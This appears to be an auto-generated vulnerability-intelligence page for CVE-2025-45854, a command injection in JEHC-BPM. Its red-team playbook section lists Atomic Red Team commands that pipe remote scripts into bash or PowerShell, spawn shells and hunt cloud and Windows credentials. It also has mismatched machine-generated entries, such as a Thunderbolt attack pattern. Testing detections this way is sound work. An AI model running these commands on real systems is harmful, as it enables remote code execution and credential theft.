CVE-2025-45854
Overview
This vulnerability is a command injection flaw rooted in improper input validation of the execParams parameter within the /server/executeExec endpoint of JEHC-BPM version 2.0.1. The affected component directly passes user-supplied parameters to system-level command execution functions without adequate sanitization, enabling arbitrary code execution. The flaw stems from a lack of access control and insufficient filtering on the execParams input within the server execution module.
Vulnerability Description
/server/executeExec of JEHC-BPM 2.0.1 allows attackers to execute arbitrary code via execParams.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code with the privileges of the JEHC-BPM server process, potentially leading to full system compromise. No user interaction or prior authentication is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This can result in data exfiltration, service disruption, or lateral movement within the affected environment, severely impacting business operations.
Solution
Upgrade JEHC-BPM to a version later than 2.0.1 where the vulnerability is addressed, as detailed in the vendor's repository at https://gitee.com/jehc/JEHC-BPM. The vendor has implemented input validation and access control on the /server/executeExec endpoint to mitigate this issue. Users should follow the official update procedures outlined in the repository and associated advisories to apply the patch promptly.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in JEHC-BPM 2.0.1 allows for arbitrary code execution through the improper handling of parameters in the /server/executeExec endpoint. This flaw arises from insufficient validation and sanitization of user inputs, specifically the execParams parameter. When an attacker crafts a malicious request, they can manipulate this parameter to execute arbitrary commands on the server. The lack of proper access controls exacerbates the issue, as it permits unauthorized users to leverage this functionality without appropriate authentication or authorization checks. This vulnerability is critical, with a maximum severity rating, as it can lead to complete system compromise.
Attack vectors for exploiting this vulnerability are diverse and can be executed remotely, making it particularly dangerous. An attacker could send specially crafted HTTP requests to the vulnerable endpoint, embedding malicious code within the execParams. Once executed, this code could perform a variety of malicious actions, such as installing malware, exfiltrating sensitive data, or establishing persistent access to the compromised system. Scenarios could include a targeted attack against a specific organization, where the attacker uses social engineering tactics to lure an employee into triggering the vulnerable endpoint, or a broader attack where automated tools scan for and exploit the vulnerability across multiple instances of the affected product.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on the JEHC-BPM platform for business process management. Successful exploitation could lead to unauthorized access to sensitive business data, disruption of critical operations, and potential financial loss. The ramifications extend beyond immediate financial costs; organizations may face reputational damage, regulatory penalties, and loss of customer trust. The ability for an attacker to execute arbitrary code means that the threat landscape is vast, as the attacker can tailor their actions to the specific environment, potentially leading to data breaches or ransomware attacks.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including penetration testing and vulnerability scanning, should be conducted to identify and remediate weaknesses in the system. Employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application layer. Additionally, organizations should ensure that input validation and sanitization are rigorously applied to all user inputs, particularly those that interact with system commands. Keeping the software up to date with the latest security patches is crucial, as vendors often release updates to address known vulnerabilities. Furthermore, implementing strict access controls and monitoring for unusual activity can help detect potential exploitation attempts early.
In conclusion, the arbitrary code execution vulnerability in JEHC-BPM 2.0.1 poses a severe threat to organizations using this platform. The ease of exploitation, combined with the potential for significant impact, necessitates immediate attention from cybersecurity professionals. By adopting proactive detection and mitigation strategies, organizations can better protect themselves against the risks associated with this critical vulnerability. The importance of maintaining a robust security posture cannot be overstated, as the consequences of inaction can be dire in today’s threat landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Jehc | Jehc-Bpm | All |
cpe:2.3:a:jehc:jehc-bpm:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
45%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-45854 |
| gitee.com |
GitHub CVE
|
https://gitee.com/jehc/JEHC-BPM |
| gist.github.com |
GitHub CVE
|
https://gist.github.com/Cafe-Tea/bc14b38f4bfd951de2979a24c3358460 |
| web.archive.org |
GitHub CVE
|
https://web.archive.org/web/20250604134020/https://gist.github.com/Cafe-Tea/bc14b38f4bfd951de2979a24c3358460/revisions |